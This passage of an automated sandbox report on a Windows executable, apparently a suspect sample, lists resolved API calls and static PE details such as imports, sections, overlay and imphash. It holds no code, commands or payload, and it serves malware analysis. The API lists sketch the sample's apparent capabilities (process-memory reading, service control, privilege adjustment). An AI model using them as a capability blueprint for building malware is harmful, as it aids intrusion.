    "regapi.dll.RegQueryListenerStart",
    "rdpwsx.dll.WsxInitialize",
    "rdpwsx.dll.WsxDestroy",
    "rdpwsx.dll.WsxConnect",
    "rdpwsx.dll.WsxDisconnect",
    "rdpwsx.dll.WsxInitializeClientData",
    "rdpwsx.dll.WsxConvertPublishedApp",
    "rdpwsx.dll.WsxWinStationInitialize",
    "rdpwsx.dll.WsxWinStationRundown",
    "rdpwsx.dll.WsxVirtualChannelSecurity",
    "rdpwsx.dll.WsxIcaStackIoControl",
    "rdpwsx.dll.WsxBrokenConnection",
    "rdpwsx.dll.WsxLogonNotify",
    "rdpwsx.dll.WsxSetErrorInfo",
    "rdpwsx.dll.WsxSendAutoReconnectStatus",
    "rdpwsx.dll.WsxEscape",
    "rdpwsx.dll.WsxOpenVirtualChannel",
    "rdpwsx.dll.WsxCanLogonProceed",
    "rdpwsx.dll.WsxGetConnectionProperty",
    "rdpwsx.dll.WsxAutomationVerification",
    "rdpwsx.dll.WsxVerify",
    "rdpwsx.dll.WsxExchangeStackConfig",
    "rdpwsx.dll.WsxQueryGatewayPolicies",
    "sechost.dll.OpenSCManagerW",
    "sechost.dll.OpenServiceW",
    "sechost.dll.StartServiceW",
    "ws2_32.dll.WSASocketW",
    "ws2_32.dll.#2",
    "ws2_32.dll.#21",
    "ws2_32.dll.#9",
    "ws2_32.dll.WSAIoctl",
    "ws2_32.dll.FreeAddrInfoW",
    "ws2_32.dll.#6",
    "ws2_32.dll.#5",
    "schannel.dll.SpUserModeInitialize",
    "ws2_32.dll.WSASend",
    "ws2_32.dll.WSARecv",
    "sechost.dll.CloseServiceHandle",
    "crypt32.dll.CryptProtectData",
    "cryptbase.dll.SystemFunction040",
    "secur32.dll.FreeContextBuffer",
    "ncrypt.dll.SslOpenProvider",
    "ncrypt.dll.GetSChannelInterface",
    "bcryptprimitives.dll.GetHashInterface",
    "ncrypt.dll.SslIncrementProviderReferenceCount",
    "ncrypt.dll.SslImportKey",
    "bcryptprimitives.dll.GetCipherInterface",
    "ncrypt.dll.SslLookupCipherSuiteInfo",
    "ncrypt.dll.BCryptOpenAlgorithmProvider",
    "ncrypt.dll.BCryptGetProperty",
    "ncrypt.dll.BCryptCreateHash",
    "ncrypt.dll.BCryptHashData",
    "ncrypt.dll.BCryptFinishHash",
    "ncrypt.dll.BCryptDestroyHash",
    "crypt32.dll.CertGetCertificateChain",
    "userenv.dll.GetUserProfileDirectoryW",
    "sechost.dll.ConvertStringSidToSidW",
    "userenv.dll.RegisterGPNotification",
    "gpapi.dll.RegisterGPNotificationInternal",
    "sechost.dll.QueryServiceConfigW",
    "sechost.dll.ControlService",
    "cryptnet.dll.CryptGetObjectUrl",
    "cryptnet.dll.CryptRetrieveObjectByUrlW",
    "cryptnet.dll.I_CryptNetGetConnectivity",
    "sensapi.dll.IsNetworkAlive",
    "winhttp.dll.WinHttpCrackUrl",
    "winhttp.dll.WinHttpGetDefaultProxyConfiguration",
    "crypt32.dll.CryptUnprotectData",
    "cryptbase.dll.SystemFunction041",
    "shlwapi.dll.StrStrIW",
    "cryptsp.dll.CryptAcquireContextA",
    "cryptsp.dll.CryptCreateHash",
    "cryptsp.dll.CryptVerifySignatureA",
    "lababa.bin.wrk",
    "umrdp.dll.ServiceMain",
    "umrdp.dll.SvchostPushServiceGlobals",
    "sechost.dll.RegisterServiceCtrlHandlerExW",
    "sechost.dll.SetServiceStatus",
    "sechost.dll.QueryServiceStatus",
    "setupapi.dll.SetupDiGetClassDevsW",
    "setupapi.dll.SetupDiEnumDeviceInterfaces",
    "setupapi.dll.SetupDiEnumDeviceInfo",
    "setupapi.dll.SetupDiGetDeviceRegistryPropertyW",
    "setupapi.dll.SetupDiGetDeviceInterfaceDetailW",
    "setupapi.dll.SetupDiDestroyDeviceInfoList",
    "wintrust.dll.WinVerifyTrust",
    "setupapi.dll.SetupDiOpenDevRegKey",
    "rpcrt4.dll.RpcServerUseProtseqEpW",
    "rpcrt4.dll.RpcServerRegisterIfEx",
    "rpcrt4.dll.RpcServerListen",
    "rpcrt4.dll.RpcServerUnregisterIf",
    "kernel32.dll.WTSGetActiveConsoleSessionId",
    "kernel32.dll.Heap32ListFirst",
    "kernel32.dll.Heap32ListNext",
    "kernel32.dll.Heap32First",
    "kernel32.dll.Heap32Next",
    "kernel32.dll.Toolhelp32ReadProcessMemory",
    "kernel32.dll.Process32First",
    "kernel32.dll.Process32Next",
    "kernel32.dll.Process32FirstW",
    "kernel32.dll.Process32NextW",
    "kernel32.dll.Module32First",
    "kernel32.dll.Module32Next",
    "kernel32.dll.Module32FirstW",
    "kernel32.dll.Module32NextW",
    "sspicli.dll.GetUserNameExW",
    "winsta.dll.WinStationRegisterConsoleNotification",
    "rpcrt4.dll.RpcAsyncInitializeHandle",
    "rpcrt4.dll.Ndr64AsyncClientCall",
    "comctl32.dll.#345",
    "comctl32.dll.LoadIconWithScaleDown",
    "ntdll.dll.RtlRunEncodeUnicodeString",
    "ntdll.dll.RtlInitUnicodeString",
    "ntdll.dll.RtlRunDecodeUnicodeString",
    "duser.dll.InitGadgets",
    "user32.dll.RegisterMessagePumpHook",
    "uxtheme.dll.IsThemeActive",
    "duser.dll.CreateGadget",
    "duser.dll.SetGadgetMessageFilter",
    "duser.dll.SetGadgetStyle",
    "duser.dll.SetGadgetRootInfo",
    "uxtheme.dll.IsAppThemed",
    "ole32.dll.CreateStreamOnHGlobal",
    "xmllite.dll.CreateXmlReader",
    "xmllite.dll.CreateXmlReaderInputWithEncodingName",
    "duser.dll.FindStdColor",
    "duser.dll.SetGadgetParent",
    "duser.dll.GetDUserModule",
    "duser.dll.AttachWndProcW",
    "comctl32.dll.RegisterClassNameW",
    "uxtheme.dll.OpenThemeData",
    "duser.dll.GetGadgetRect",
    "duser.dll.GetGadgetRgn",
    "duser.dll.GetGadgetTicket",
    "uxtheme.dll.EnableThemeDialogTexture",
    "duser.dll.InvalidateGadget",
    "duser.dll.DUserPostEvent",
    "duser.dll.GetGadgetFocus",
    "gdi32.dll.GetLayout",
    "gdi32.dll.GdiRealizationInfo",
    "gdi32.dll.FontIsLinked",
    "gdi32.dll.GetTextFaceAliasW",
    "gdi32.dll.GetFontAssocStatus",
    "advapi32.dll.RegQueryValueExA",
    "duser.dll.SetGadgetFocus",
    "duser.dll.DUserSendEvent",
    "duser.dll.SetGadgetRect",
    "duser.dll.DeleteHandle",
    "propsys.dll.#420",
    "kernel32.dll.GetTimeZoneInformationForYear",
    "uxtheme.dll.GetThemeAppProperties",
    "uxtheme.dll.GetThemeMargins",
    "uxtheme.dll.GetThemeFont",
    "uxtheme.dll.GetThemeColor",
    "uxtheme.dll.GetThemeMetric",
    "gdi32.dll.GdiIsMetaPrintDC",
    "uxtheme.dll.GetThemeBool",
    "uxtheme.dll.GetThemeBackgroundContentRect",
    "uxtheme.dll.GetThemeTextMetrics",
    "uxtheme.dll.GetThemePartSize",
    "uxtheme.dll.GetThemeTextExtent",
    "uxtheme.dll.GetThemeBackgroundExtent",
    "uxtheme.dll.DrawThemeParentBackground",
    "uxtheme.dll.#47",
    "duser.dll.ForwardGadgetMessage",
    "uxtheme.dll.CloseThemeData",
    "duser.dll.DisableContainerHwnd",
    "duser.dll.DUserFlushMessages",
    "duser.dll.DUserFlushDeferredMessages",
    "user32.dll.UnregisterMessagePumpHook"
]

[*] Static Analysis: {
    "pe": {
        "peid_signatures": null,
        "imports": [
            {
                "imports": [
                    {
                        "name": "GetTempPathA",
                        "address": "0x407070"
                    },
                    {
                        "name": "GetFileSize",
                        "address": "0x407074"
                    },
                    {
                        "name": "GetModuleFileNameA",
                        "address": "0x407078"
                    },
                    {
                        "name": "GetCurrentProcess",
                        "address": "0x40707c"
                    },
                    {
                        "name": "CopyFileA",
                        "address": "0x407080"
                    },
                    {
                        "name": "ExitProcess",
                        "address": "0x407084"
                    },
                    {
                        "name": "SetEnvironmentVariableA",
                        "address": "0x407088"
                    },
                    {
                        "name": "Sleep",
                        "address": "0x40708c"
                    },
                    {
                        "name": "GetTickCount",
                        "address": "0x407090"
                    },
                    {
                        "name": "GetCommandLineA",
                        "address": "0x407094"
                    },
                    {
                        "name": "lstrlenA",
                        "address": "0x407098"
                    },
                    {
                        "name": "GetVersion",
                        "address": "0x40709c"
                    },
                    {
                        "name": "SetErrorMode",
                        "address": "0x4070a0"
                    },
                    {
                        "name": "lstrcpynA",
                        "address": "0x4070a4"
                    },
                    {
                        "name": "GetDiskFreeSpaceA",
                        "address": "0x4070a8"
                    },
                    {
                        "name": "GlobalUnlock",
                        "address": "0x4070ac"
                    },
                    {
                        "name": "GetWindowsDirectoryA",
                        "address": "0x4070b0"
                    },
                    {
                        "name": "SetCurrentDirectoryA",
                        "address": "0x4070b4"
                    },
                    {
                        "name": "GetLastError",
                        "address": "0x4070b8"
                    },
                    {
                        "name": "CreateDirectoryA",
                        "address": "0x4070bc"
                    },
                    {
                        "name": "CreateProcessA",
                        "address": "0x4070c0"
                    },
                    {
                        "name": "RemoveDirectoryA",
                        "address": "0x4070c4"
                    },
                    {
                        "name": "CreateFileA",
                        "address": "0x4070c8"
                    },
                    {
                        "name": "GetTempFileNameA",
                        "address": "0x4070cc"
                    },
                    {
                        "name": "ReadFile",
                        "address": "0x4070d0"
                    },
                    {
                        "name": "WriteFile",
                        "address": "0x4070d4"
                    },
                    {
                        "name": "lstrcpyA",
                        "address": "0x4070d8"
                    },
                    {
                        "name": "MoveFileExA",
                        "address": "0x4070dc"
                    },
                    {
                        "name": "lstrcatA",
                        "address": "0x4070e0"
                    },
                    {
                        "name": "GetSystemDirectoryA",
                        "address": "0x4070e4"
                    },
                    {
                        "name": "GetProcAddress",
                        "address": "0x4070e8"
                    },
                    {
                        "name": "GetExitCodeProcess",
                        "address": "0x4070ec"
                    },
                    {
                        "name": "WaitForSingleObject",
                        "address": "0x4070f0"
                    },
                    {
                        "name": "CompareFileTime",
                        "address": "0x4070f4"
                    },
                    {
                        "name": "SetFileAttributesA",
                        "address": "0x4070f8"
                    },
                    {
                        "name": "GetFileAttributesA",
                        "address": "0x4070fc"
                    },
                    {
                        "name": "GetShortPathNameA",
                        "address": "0x407100"
                    },
                    {
                        "name": "MoveFileA",
                        "address": "0x407104"
                    },
                    {
                        "name": "GetFullPathNameA",
                        "address": "0x407108"
                    },
                    {
                        "name": "SetFileTime",
                        "address": "0x40710c"
                    },
                    {
                        "name": "SearchPathA",
                        "address": "0x407110"
                    },
                    {
                        "name": "CloseHandle",
                        "address": "0x407114"
                    },
                    {
                        "name": "lstrcmpiA",
                        "address": "0x407118"
                    },
                    {
                        "name": "CreateThread",
                        "address": "0x40711c"
                    },
                    {
                        "name": "GlobalLock",
                        "address": "0x407120"
                    },
                    {
                        "name": "lstrcmpA",
                        "address": "0x407124"
                    },
                    {
                        "name": "FindFirstFileA",
                        "address": "0x407128"
                    },
                    {
                        "name": "FindNextFileA",
                        "address": "0x40712c"
                    },
                    {
                        "name": "DeleteFileA",
                        "address": "0x407130"
                    },
                    {
                        "name": "SetFilePointer",
                        "address": "0x407134"
                    },
                    {
                        "name": "GetPrivateProfileStringA",
                        "address": "0x407138"
                    },
                    {
                        "name": "FindClose",
                        "address": "0x40713c"
                    },
                    {
                        "name": "MultiByteToWideChar",
                        "address": "0x407140"
                    },
                    {
                        "name": "FreeLibrary",
                        "address": "0x407144"
                    },
                    {
                        "name": "MulDiv",
                        "address": "0x407148"
                    },
                    {
                        "name": "WritePrivateProfileStringA",
                        "address": "0x40714c"
                    },
                    {
                        "name": "LoadLibraryExA",
                        "address": "0x407150"
                    },
                    {
                        "name": "GetModuleHandleA",
                        "address": "0x407154"
                    },
                    {
                        "name": "GlobalAlloc",
                        "address": "0x407158"
                    },
                    {
                        "name": "GlobalFree",
                        "address": "0x40715c"
                    },
                    {
                        "name": "ExpandEnvironmentStringsA",
                        "address": "0x407160"
                    }
                ],
                "dll": "KERNEL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "ScreenToClient",
                        "address": "0x407184"
                    },
                    {
                        "name": "GetSystemMenu",
                        "address": "0x407188"
                    },
                    {
                        "name": "SetClassLongA",
                        "address": "0x40718c"
                    },
                    {
                        "name": "IsWindowEnabled",
                        "address": "0x407190"
                    },
                    {
                        "name": "SetWindowPos",
                        "address": "0x407194"
                    },
                    {
                        "name": "GetSysColor",
                        "address": "0x407198"
                    },
                    {
                        "name": "GetWindowLongA",
                        "address": "0x40719c"
                    },
                    {
                        "name": "SetCursor",
                        "address": "0x4071a0"
                    },
                    {
                        "name": "LoadCursorA",
                        "address": "0x4071a4"
                    },
                    {
                        "name": "CheckDlgButton",
                        "address": "0x4071a8"
                    },
                    {
                        "name": "GetMessagePos",
                        "address": "0x4071ac"
                    },
                    {
                        "name": "LoadBitmapA",
                        "address": "0x4071b0"
                    },
                    {
                        "name": "CallWindowProcA",
                        "address": "0x4071b4"
                    },
                    {
                        "name": "IsWindowVisible",
                        "address": "0x4071b8"
                    },
                    {
                        "name": "CloseClipboard",
                        "address": "0x4071bc"
                    },
                    {
                        "name": "SetClipboardData",
                        "address": "0x4071c0"
                    },
                    {
                        "name": "EmptyClipboard",
                        "address": "0x4071c4"
                    },
                    {
                        "name": "PostQuitMessage",
                        "address": "0x4071c8"
                    },
                    {
                        "name": "GetWindowRect",
                        "address": "0x4071cc"
                    },
                    {
                        "name": "EnableMenuItem",
                        "address": "0x4071d0"
                    },
                    {
                        "name": "CreatePopupMenu",
                        "address": "0x4071d4"
                    },
                    {
                        "name": "GetSystemMetrics",
                        "address": "0x4071d8"
                    },
                    {
                        "name": "SetDlgItemTextA",
                        "address": "0x4071dc"
                    },
                    {
                        "name": "GetDlgItemTextA",
                        "address": "0x4071e0"
                    },
                    {
                        "name": "MessageBoxIndirectA",
                        "address": "0x4071e4"
                    },
                    {
                        "name": "CharPrevA",
                        "address": "0x4071e8"
                    },
                    {
                        "name": "DispatchMessageA",
                        "address": "0x4071ec"
                    },
                    {
                        "name": "PeekMessageA",
                        "address": "0x4071f0"
                    },
                    {
                        "name": "ReleaseDC",
                        "address": "0x4071f4"
                    },
                    {
                        "name": "EnableWindow",
                        "address": "0x4071f8"
                    },
                    {
                        "name": "InvalidateRect",
                        "address": "0x4071fc"
                    },
                    {
                        "name": "SendMessageA",
                        "address": "0x407200"
                    },
                    {
                        "name": "DefWindowProcA",
                        "address": "0x407204"
                    },
                    {
                        "name": "BeginPaint",
                        "address": "0x407208"
                    },
                    {
                        "name": "GetClientRect",
                        "address": "0x40720c"
                    },
                    {
                        "name": "FillRect",
                        "address": "0x407210"
                    },
                    {
                        "name": "DrawTextA",
                        "address": "0x407214"
                    },
                    {
                        "name": "EndDialog",
                        "address": "0x407218"
                    },
                    {
                        "name": "RegisterClassA",
                        "address": "0x40721c"
                    },
                    {
                        "name": "SystemParametersInfoA",
                        "address": "0x407220"
                    },
                    {
                        "name": "CreateWindowExA",
                        "address": "0x407224"
                    },
                    {
                        "name": "GetClassInfoA",
                        "address": "0x407228"
                    },
                    {
                        "name": "DialogBoxParamA",
                        "address": "0x40722c"
                    },
                    {
                        "name": "CharNextA",
                        "address": "0x407230"
                    },
                    {
                        "name": "ExitWindowsEx",
                        "address": "0x407234"
                    },
                    {
                        "name": "GetDC",
                        "address": "0x407238"
                    },
                    {
                        "name": "CreateDialogParamA",
                        "address": "0x40723c"
                    },
                    {
                        "name": "SetTimer",
                        "address": "0x407240"
                    },
                    {
                        "name": "GetDlgItem",
                        "address": "0x407244"
                    },
                    {
                        "name": "SetWindowLongA",
                        "address": "0x407248"
                    },
                    {
                        "name": "SetForegroundWindow",
                        "address": "0x40724c"
                    },
                    {
                        "name": "LoadImageA",
                        "address": "0x407250"
                    },
                    {
                        "name": "IsWindow",
                        "address": "0x407254"
                    },
                    {
                        "name": "SendMessageTimeoutA",
                        "address": "0x407258"
                    },
                    {
                        "name": "FindWindowExA",
                        "address": "0x40725c"
                    },
                    {
                        "name": "OpenClipboard",
                        "address": "0x407260"
                    },
                    {
                        "name": "TrackPopupMenu",
                        "address": "0x407264"
                    },
                    {
                        "name": "AppendMenuA",
                        "address": "0x407268"
                    },
                    {
                        "name": "EndPaint",
                        "address": "0x40726c"
                    },
                    {
                        "name": "DestroyWindow",
                        "address": "0x407270"
                    },
                    {
                        "name": "wsprintfA",
                        "address": "0x407274"
                    },
                    {
                        "name": "ShowWindow",
                        "address": "0x407278"
                    },
                    {
                        "name": "SetWindowTextA",
                        "address": "0x40727c"
                    }
                ],
                "dll": "USER32.dll"
            },
            {
                "imports": [
                    {
                        "name": "SelectObject",
                        "address": "0x40704c"
                    },
                    {
                        "name": "SetBkMode",
                        "address": "0x407050"
                    },
                    {
                        "name": "CreateFontIndirectA",
                        "address": "0x407054"
                    },
                    {
                        "name": "SetTextColor",
                        "address": "0x407058"
                    },
                    {
                        "name": "DeleteObject",
                        "address": "0x40705c"
                    },
                    {
                        "name": "GetDeviceCaps",
                        "address": "0x407060"
                    },
                    {
                        "name": "CreateBrushIndirect",
                        "address": "0x407064"
                    },
                    {
                        "name": "SetBkColor",
                        "address": "0x407068"
                    }
                ],
                "dll": "GDI32.dll"
            },
            {
                "imports": [
                    {
                        "name": "SHGetSpecialFolderLocation",
                        "address": "0x407168"
                    },
                    {
                        "name": "ShellExecuteExA",
                        "address": "0x40716c"
                    },
                    {
                        "name": "SHGetPathFromIDListA",
                        "address": "0x407170"
                    },
                    {
                        "name": "SHBrowseForFolderA",
                        "address": "0x407174"
                    },
                    {
                        "name": "SHGetFileInfoA",
                        "address": "0x407178"
                    },
                    {
                        "name": "SHFileOperationA",
                        "address": "0x40717c"
                    }
                ],
                "dll": "SHELL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "AdjustTokenPrivileges",
                        "address": "0x407000"
                    },
                    {
                        "name": "RegCreateKeyExA",
                        "address": "0x407004"
                    },
                    {
                        "name": "RegOpenKeyExA",
                        "address": "0x407008"
                    },
                    {
                        "name": "SetFileSecurityA",
                        "address": "0x40700c"
                    },
                    {
                        "name": "OpenProcessToken",
                        "address": "0x407010"
                    },
                    {
                        "name": "LookupPrivilegeValueA",
                        "address": "0x407014"
                    },
                    {
                        "name": "RegEnumValueA",
                        "address": "0x407018"
                    },
                    {
                        "name": "RegDeleteKeyA",
                        "address": "0x40701c"
                    },
                    {
                        "name": "RegDeleteValueA",
                        "address": "0x407020"
                    },
                    {
                        "name": "RegCloseKey",
                        "address": "0x407024"
                    },
                    {
                        "name": "RegSetValueExA",
                        "address": "0x407028"
                    },
                    {
                        "name": "RegQueryValueExA",
                        "address": "0x40702c"
                    },
                    {
                        "name": "RegEnumKeyA",
                        "address": "0x407030"
                    }
                ],
                "dll": "ADVAPI32.dll"
            },
            {
                "imports": [
                    {
                        "name": "ImageList_Create",
                        "address": "0x407038"
                    },
                    {
                        "name": "ImageList_AddMasked",
                        "address": "0x40703c"
                    },
                    {
                        "name": "ImageList_Destroy",
                        "address": "0x407040"
                    },
                    {
                        "name": null,
                        "address": "0x407044"
                    }
                ],
                "dll": "COMCTL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "OleUninitialize",
                        "address": "0x407284"
                    },
                    {
                        "name": "OleInitialize",
                        "address": "0x407288"
                    },
                    {
                        "name": "CoTaskMemFree",
                        "address": "0x40728c"
                    },
                    {
                        "name": "CoCreateInstance",
                        "address": "0x407290"
                    }
                ],
                "dll": "ole32.dll"
            }
        ],
        "digital_signers": null,
        "exported_dll_name": null,
        "actual_checksum": "0x00246b66",
        "overlay": {
            "size": "0x0021fce8",
            "offset": "0x00019000"
        },
        "imagebase": "0x00400000",
        "reported_checksum": "0x00246b66",
        "icon_hash": null,
        "entrypoint": "0x004031d6",
        "timestamp": "2018-12-15 22:24:22",
        "osversion": "4.0",
        "sections": [
            {
                "name": ".text",
                "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00001000",
                "size_of_data": "0x00006000",
                "entropy": "6.45",
                "raw_address": "0x00000400",
                "virtual_size": "0x00005f0d",
                "characteristics_raw": "0x60000020"
            },
            {
                "name": ".rdata",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00007000",
                "size_of_data": "0x00001400",
                "entropy": "5.00",
                "raw_address": "0x00006400",
                "virtual_size": "0x00001250",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".data",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x00009000",
                "size_of_data": "0x00000400",
                "entropy": "5.13",
                "raw_address": "0x00007800",
                "virtual_size": "0x0001a818",
                "characteristics_raw": "0xc0000040"
            },
            {
                "name": ".ndata",
                "characteristics": "IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x00024000",
                "size_of_data": "0x00000000",
                "entropy": "0.00",
                "raw_address": "0x00000000",
                "virtual_size": "0x00009000",
                "characteristics_raw": "0xc0000080"
            },
            {
                "name": ".rsrc",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x0002d000",
                "size_of_data": "0x00011400",
                "entropy": "1.13",
                "raw_address": "0x00007c00",
                "virtual_size": "0x000112a0",
                "characteristics_raw": "0x40000040"
            }
        ],
        "resources": [],
        "dirents": [
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00007430",
                "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
                "size": "0x000000a0"
            },
            {
                "virtual_address": "0x0002d000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
                "size": "0x000112a0"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00237918",
                "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
                "size": "0x000013d0"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_TLS",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00007000",
                "name": "IMAGE_DIRECTORY_ENTRY_IAT",
                "size": "0x00000298"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
                "size": "0x00000000"
            }
        ],
        "exports": [],
        "guest_signers": {},
        "imphash": "3abe302b6d9a1256e6a915429af4ffd2",
        "icon_fuzzy": null,
        "icon": null,
        "pdbpath": null,
        "imported_dll_count": 7,
        "versioninfo": []
    }
}